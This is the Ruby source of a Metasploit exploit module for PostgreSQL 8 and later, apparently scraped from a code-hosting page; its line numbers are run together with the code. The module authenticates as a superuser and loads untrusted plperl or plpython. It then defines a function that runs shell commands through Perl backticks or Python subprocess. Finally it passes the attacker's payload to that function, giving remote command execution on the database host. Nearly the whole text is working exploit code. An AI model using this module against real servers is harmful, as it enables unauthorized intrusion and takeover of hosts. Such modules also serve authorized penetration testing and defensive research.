Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/postgres/postgres_createlang.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = GoodRanking89include Msf::Exploit::Remote::Postgres10include Msf::Exploit::Remote::Tcp11include Msf::Auxiliary::Report12include Msf::OptionalSession::PostgreSQL1314def initialize(info = {})15super(update_info(info,16'Name' => 'PostgreSQL CREATE LANGUAGE Execution',17'Description' => %q(18Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.19Most commonly this is Perl and Python. When enabled, command execution is possible on the host.20To execute system commands, loading the "untrusted" version of the language is necessary.21This requires a superuser. This is usually postgres. The execution should be platform-agnostic,22and has been tested on OS X, Windows, and Linux.2324This module attempts to load Perl or Python to execute system commands. As this dynamically loads25a scripting language to execute commands, it is not necessary to drop a file on the filesystem.2627Only Postgres 8 and up are supported.28),29'Author' => [30'Micheal Cottingham', # author of this module31'midnitesnake', # the postgres_payload module that this is based on,32'Nixawk' # Improves the module33],34'License' => MSF_LICENSE,35'References' => [36['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],37['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],38['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']39],40'Platform' => %w(linux unix win osx),41'Payload' => {42'PayloadType' => %w(cmd)43},44'Arch' => [ARCH_CMD],45'Targets' => [46['Automatic', {}]47],48'DefaultTarget' => 0,49'DisclosureDate' => '2016-01-01'50))5152deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')53end5455def check56vuln_version? ? CheckCode::Appears : CheckCode::Safe57end5859def vuln_version?60version = postgres_fingerprint6162return unless version[:auth]6364vprint_status version[:auth].to_s6566version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first6768Rex::Version.new(version_full) >= Rex::Version.new('8.0')69end7071def login_success?72status = do_login(username, password, database)73case status74when :noauth75print_error "#{peer} - Authentication failed"76return false77when :noconn78print_error "#{peer} - Connection failed"79return false80else81print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"82return true83end84end8586def load_extension?(language)87case load_procedural_language(language, 'LANGUAGE')88when :exists89print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"90return true91when :loaded92print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"93return true94when :not_exists95print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"96return false97else98vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"99return false100end101end102103def exec_function?(func_name)104query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"105select_query = postgres_query(query)106107case select_query.keys[0]108when :conn_error109print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"110return false111when :sql_error112elog(select_query[:sql_error])113114missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"115unless missing_executable_match.nil?116print_error "#{missing_executable_match} - The target binary was not found on the target."117return false118end119120if select_query[:sql_error].match? 'execution expired'121print_warning 'Timed out. The function was potentially executed.'122return true123end124125print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"126return false127when :complete128print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"129return true130else131print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"132return false133end134end135136def create_function?(language, func_name)137load_func = ''138139case language140when 'perl'141query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"142query << "`$_[0]`;"143query << "$$ LANGUAGE pl#{language}u"144load_func = postgres_query(query)145when /^python(?:2|3)?/i146query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"147query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"148query << "$$ LANGUAGE pl#{language}u"149load_func = postgres_query(query)150end151152case load_func.keys[0]153when :conn_error154print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"155return false156when :sql_error157print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"158return false159when :complete160print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"161return true162else163print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"164return false165end166end167168def load_procedural_language(language, extension)169query = "CREATE #{extension} pl#{language}u"170load_language = postgres_query(query)171return :loaded unless load_language.keys[0] == :sql_error172173match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)174return :exists if match_exists175176match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)177return :not_exists if match_error178179# Default to something sane180:not_exists181end182183def do_login(user, pass, database)184begin185password = pass || postgres_password186result = postgres_fingerprint(187db: database,188username: user,189password: password190)191192return result[:auth] if result[:auth]193print_error "#{peer} - Login failed"194return :noauth195196rescue Rex::ConnectionError197return :noconn198end199end200201def exploit202self.postgres_conn = session.client if session203return unless vuln_version?204return unless login_success?205206languages = %w(perl python python2 python3)207languages.each do |language|208next unless load_extension?(language)209func_name = Rex::Text.rand_text_alpha(10)210next unless create_function?(language, func_name)211if exec_function?(func_name)212print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"213break214end215end216postgres_logout if @postgres_conn && session.blank?217end218end219220221